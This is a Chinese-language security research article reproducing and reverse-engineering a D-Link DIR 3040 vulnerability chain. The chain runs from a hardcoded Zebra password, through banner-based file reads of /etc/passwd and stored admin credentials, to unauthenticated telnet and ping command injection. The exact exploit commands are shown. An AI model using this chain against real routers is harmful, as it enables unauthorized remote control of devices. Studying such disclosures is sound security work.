作者:OneShell@知道創宇404實驗室
時間:2021年7月26日

7月中旬,Cisco Talos安全研究員Dave MacDaniel公布了D-Link DIR 3040(固件版本1.13B03)的多個CVE漏洞的具體利用細節,這些漏洞環環相扣,從硬編碼密碼導致的信息泄露一步步到無需認證的RCE,具體的漏洞編號和漏洞描述如下:

  • CVE-2021-12817:Zebra服務因讀取任意文件設置登錄banner導致的敏感信息泄露
  • CVE-2021-12818:Zebra服務使用硬編碼密碼zebra
  • CVE-2021-12819:可通過訪問https:///start_telnet開啟telnet,并使用管理員密碼登錄,其中提供的功能例如ping存在命令注入

從這三個漏洞的描述就可以看出攻擊鏈大概就是:先使用Zebra硬編碼密碼登錄,然后通過讀取任意文件竊取管理員admin密碼,再開啟telnet,最后實現命令注入,將一個本來是后認證的RCE組合變成了無條件RCE。下面就先直接上圖說明漏洞利用的可行性,然后再進行原理的分析。

攻擊鏈復現

我手頭上是有一個部署在公網的路由器DIR 3040,一開始端口是沒有開啟telnet的,下圖是我復現漏洞成功后,沒有關閉telnet。

# oneshell @ UbuntuDev in ~ [23:44:30] C:130
$ nmap -Pn X.X.X.X

Starting Nmap 7.60 ( https://nmap.org ) at 2021-07-22 23:44 PDT
Nmap scan report for XXX.XXX.com (X.X.X.X)
Host is up (0.28s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE
23/tcp   open  telnet
53/tcp   open  domain
80/tcp   open  http
443/tcp  open  https
2602/tcp open  ripd

首先使用telnet登錄開啟了Zebra的2601端口,使用硬編碼密碼zebra,實際上也是服務的默認密碼,Zebra使用默認密碼在06年的時候就爆出來過一些。

# oneshell @ UbuntuDev in ~ [23:42:09] C:1
$ telnet X.X.X.X 2601
Trying X.X.X.X...
Connected to X.X.X.X.
Escape character is '^]'.
          ___           ___           ___
         /__/\         /  /\         /  /\
        _\_ \:\       /  /::\       /  /:/_
       /__/\ \:\     /  /:/\:\     /  /:/ /\
      _\_ \:\ \:\   /  /:/~/:/    /  /:/ /::\
     /__/\ \:\ \:\ /__/:/ /:/___ /__/:/ /:/\:\
     \  \:\ \:\/:/ \  \:\/:::::/ \  \:\/:/~/:/
      \  \:\ \::/   \  \::/~~~~   \  \::/ /:/
       \  \:\/:/     \  \:\        \__\/ /:/
        \  \::/       \  \:\         /__/:/
         \__\/         \__\/         \__\/
 -----------------------------------------------------
 BARRIER BREAKER (%C, %R)
 -----------------------------------------------------
  * 1/2 oz Galliano         Pour all ingredients into
  * 4 oz cold Coffee        an irish coffee mug filled
  * 1 1/2 oz Dark Rum       with crushed ice. Stir.
  * 2 tsp. Creme de Cacao
 -----------------------------------------------------

User Access Verification

Password:
Router> enable
Password:
Router# configure terminal
Router(config)# banner motd file /etc/passwd
Router(config)# exit
Router# exit
Connection closed by foreign host.

使用telnet再次登錄,就會發現,登錄提示的banner已經把/etc/passwd文件顯示出來了。在/etc/passwd中的密碼是以md5的形式保存的,有能力的師傅可以嘗試解出來,但是,admin的明文賬號密碼是被保存在/var/2860_data.dat文件中的,那么設置banner到這個文件就可以成功讀取到admin的明文密碼,為下一步的認證RCE做準備。

這個時候訪問https:///start_telnet開啟路由器的測試CLI,這個頁面訪問的結果返回是404,不用擔心,已經成功開啟了設備的telnet了。然后可以使用上一步得到的admin賬號密碼登錄,然后也可以看到,在ping那個功能處存在命令注入。

# oneshell @ LAPTOP-M8H23J7M in ~ [14:54:22] C:1
$ telnet X.X.X.X
Trying X.X.X.X...
Connected to X.X.X.X.
Escape character is '^]'.
D-Link login: admin
Password:
libcli test environment

router> help

Commands available:
  help                 Show available commands
  quit                 Disconnect
  history              Show a list of previously run commands
  protest              protest cmd
  iwpriv               iwpriv cmd
  ifconfig             ifconfig cmd
  iwconfig             iwconfig cmd
  reboot               reboot cmd
  brctl                brctl cmd
  ated                 ated cmd
  ping                 ping cmd

router> ping -c 1 8.8.8.8.;uname -a
ping: bad address '8.8.8.8.'
Linux D-Link 3.10.14+ #1 SMP Fri Aug 14 18:42:10 CST 2020 mips GNU/Linux

漏洞分析

漏洞的利用順序是從CVE-2021-12818到CVE-2021-12817再到CVE-2021-12819,分析順序也是按照這個來進行。順便強調一下,這篇文章是偏向于分析,很多線索都是基于已有的漏洞信息來進行推斷的,然后菜菜的我盡量去揣測挖洞大佬是怎么找出這個漏洞的,并說出自己猜測的思路,如果有不正確或者師傅們有更好的思路,還望指出來,蟹蟹!

固件分析

第一步是獲取到存在漏洞的固件,固件已經是最新固件了。關于從固件中提取文件系統,可以參考我之前寫的這篇文章:加密固件之依據老固件進行解密。下面說一下如何從文件系統中先對整個路由器有個大致的了解。這個地方推薦使用FirmWalker,一個對固件進行簡單分析的sh腳本。分析的出來的結果太多了,就不展示出來,直接簡單說一下分析結果:

  • 后臺使用的是lighttpd,一個常見的嵌入式后端。
  • 看到有使用sqlite3的so,可能使用到了相關的,不知道有沒有命令注入的可能。
  • 有telnetd程序,可以通過telnet登錄;有tftp、curl,可以用于下載文件,例如針對路由器架構編譯的惡意程序。

CVE-2021-12818:Zebra服務硬編碼密碼

這個漏洞是Zebra服務使用了默認密碼zebra。Zebra 是一個 IP 路由管理器,可提供內核路由表更新、接口查找以及不同路由協議之間路由的重新分配。DIR-3040 默認在TCP端口2601上運行此服務,任何人都可以訪問。漏洞披露者的分析應該是建立在通過UART等方式或者手中還有RCE漏洞獲取shell查看到的,此處分析不了就直接進行后驗證,直接通過前面的命令注入漏洞查看配置文件/tmp/zebra.conf

router> ping -c -1 8.8.8.8;cat /tmp/zebra.conf
ping: invalid number '-1'
hostname Router
password zebra
enable password zebra

CVE-2021-12817:敏感信息泄露

Zebra提供了一個功能就是從指定目錄的文件內容,設置登錄提示的banner,通過這個功能可以讀取敏感信息并顯示。通過find找到zebra和zebli.so,分別在/sbin/zebra和/lib/libzebra.so.1.0.0中,然后可以通過IDA搜索關鍵字符,例如在libzebra.so中就找到了和banner相關的數據結構。

.data:0006D608 banner_motd_file_cmd:.word aBannerMotdFile_1
.data:0006D608                                          # DATA XREF: LOAD:00003AC0↑o
.data:0006D608                                          # cmd_init+708↑o ...
.data:0006D608                                          # "banner motd file [FILE]"
.data:0006D60C                 .word sub_1509C
.data:0006D610                 .word aSetBannerBanne    # "Set banner\nBanner for motd\nBanner fro"...
.data:0006D614                 .align 4
.data:0006D620                 .globl no_config_log_timestamp_precision_cmd

這個數據結構在cmd_init是這樣進行引用的:

install_element(5, (int)&banner_motd_file_cmd);

zebra是一個開源項目,源代碼官網ftp已經沒有了,在GitHub上找到了一個備份,也可以找到install_element的函數以及cmd_element結構體定義如下:

install_element (enum node_type ntype, struct cmd_element *cmd)
{
  struct cmd_node *cnode;

  cnode = vector_slot (cmdvec, ntype);

  if (cnode == NULL) 
    {
      fprintf (stderr, "Command node %d doesn't exist, please check it\n",
           ntype);
      exit (1);
    }

  vector_set (cnode->cmd_vector, cmd);

  cmd->strvec = cmd_make_descvec (cmd->string, cmd->doc);
  cmd->cmdsize = cmd_cmdsize (cmd->strvec);
}
struct cmd_element 
{
  char *string;         /* Command specification by string. */
  int (*func) (struct cmd_element *, struct vty *, int, char **);
  char *doc;            /* Documentation of this command. */
  int daemon;                   /* Daemon to which this command belong. */
  vector strvec;        /* Pointing out each description vector. */
  int cmdsize;          /* Command index count. */
  char *config;         /* Configuration string */
  vector subconfig;     /* Sub configuration string */
};

通過對應IDA和zebra源碼中的結構體,可以猜測出來,回調函數是注冊在sub_1509c這個函數,大概傳入的參數就是:

int sub_1509c(struct cmd_element *, struct vty *, int, char **);

其中和文件描述符相關的是結構體vty,具體就不展開了,師傅們分析可以到zebra源碼中去查看結構體vty的定義,這個結構體中是具體的一個zebra會話狀態的相關描述,例如會話的權限、輸入命令長度、命令緩沖區、歷史命令等等。其實這個地方我分析得不是很明了,源碼的執行邏輯還是有點繞,猜測安全研究人員應該是根據命令的提示,發現可以通過文件設置banner,然后嘗試讀取文件,或者研究人員有過類似的開發研究經歷。

CVE-2021-12819:測試環境CLI命令執行

首先分析是如何開啟telnet的,通過訪問https:///start_telnet即可,似乎不涉及到使用了某個CGI,那么直接在后端服務器lighttpd中去搜尋關鍵字telnet,查看字符串的交叉引用,然后看看執行邏輯。使用IDA可以看到,在函數http_request_parse中,有一段代碼邏輯是:

if ( strstr(v13, "/start_telnet") )
{
  log_error_write(a1, "request.c", 460, "s", "start telnet", v190, v191, v211, v231, v251);
  system("telnetd -b 0.0.0.0");
}

接下來是分析,命令執行是如何發生的。命令執行漏洞是發生在cli中,那么可以先定位到cli和cli使用的so文件。使用find可以找到兩個可疑的兩個目標,/lib/libcli.so和/usr/bin/cli。先看可執行文件cli,通過搜索ping關鍵字可以直接定位到關鍵代碼。

cli_register_command(cli_session, 0, "protest", cmd_protest, 0, 0, "protest cmd");
cli_register_command(cli_session, 0, "iwpriv", cmd_iwpriv, 0, 0, "iwpriv cmd");
cli_register_command(cli_session, 0, "ifconfig", cmd_ifconfig, 0, 0, "ifconfig cmd");
cli_register_command(cli_session, 0, "iwconfig", cmd_iwconfig, 0, 0, "iwconfig cmd");
cli_register_command(cli_session, 0, "reboot", cmd_reboot, 0, 0, "reboot cmd");
cli_register_command(cli_session, 0, "brctl", cmd_brctl, 0, 0, "brctl cmd");
cli_register_command(cli_session, 0, "ated", cmd_ated, 0, 0, "ated cmd");
cli_register_command(cli_session, 0, "ping", cmd_ping, 0, 0, "ping cmd");
cli_register_command(cli_session, 0, "sh", cmd_shell, 15, 0, "sh cmd");

好家伙,還沒有去符號表,和前面復現中cli的顯示基本一致了。一般這種實現都是注冊了某個回調函數,例如cmd_ping,可以在IDA中進入查看。非常巧合的是,我去搜索了一下這個函數,發現是Github上的一個開源libcli項目的,這就極大降低了逆向的難度。平常在做研究的時候也可以通過去找設備開發的GPL協議,然后定位使用了什么開源項目,降低逆向難度。如下是開源的函數原型,可以看到cmd_ping函數就是注冊的回調,是選擇了命令后具體執行的函數。

struct cli_command *cli_register_command(struct cli_def *cli, struct cli_command *parent, const char *command,
                                         int (*callback)(struct cli_def *, const char *, char **, int), int privilege,
                                         int mode, const char *help)

進一步的關鍵函數調用鏈就是:cmd_ping -> systemCmd -> popen,感興趣的師傅可以進入具體查看,也沒有什么復雜的繞過,直接就是格式化字符串然后到popen執行。

猜測這一個CVE實際上是開發人員原本為了方便測試設置的,從開啟telnet到使用測試CLI執行命令。CLI在登錄的時候也有明確提示,屬于測試CLI。然后在實際交付代碼的時候卻沒有把相關代碼去掉。

小結

本篇文章首先對一連串的漏洞進行了復現,實現了從敏感信息泄露到遠程RCE的過程。然后從逆向結合能夠查找到的相關開源組件源碼,對漏洞進行了分析。期間還是走了很多彎路,用了不短的時間去分析執行邏輯、回調函數之類的,最后深一步理解到了查找研究目標GPL相關開源組件代碼,進一步降低逆向難度的重要性。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/1650/